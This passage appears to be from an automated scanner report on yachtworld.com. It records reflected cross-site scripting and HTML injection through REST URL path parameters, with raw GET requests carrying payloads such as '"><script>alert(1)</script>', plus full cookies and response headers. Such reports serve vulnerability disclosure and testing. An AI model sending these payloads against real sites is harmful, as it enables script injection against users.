s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:45 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfd6d"><script>alert(1)</script>25e46cb33dd was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/typebfd6d"><script>alert(1)</script>25e46cb33dd/Hinckley/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:49 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ce6f"><a>7ef49680c01 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Hinckley2ce6f"><a>7ef49680c01/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:52 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 649cf"><a>7de21f485bc was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Hinckley/1649cf"><a>7de21f485bc HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:01 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57636"><a>487ec78469f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type57636"><a>487ec78469f/Hunter/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:38 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1afe"><a>5bf634ff1b3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Hunterf1afe"><a>5bf634ff1b3/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 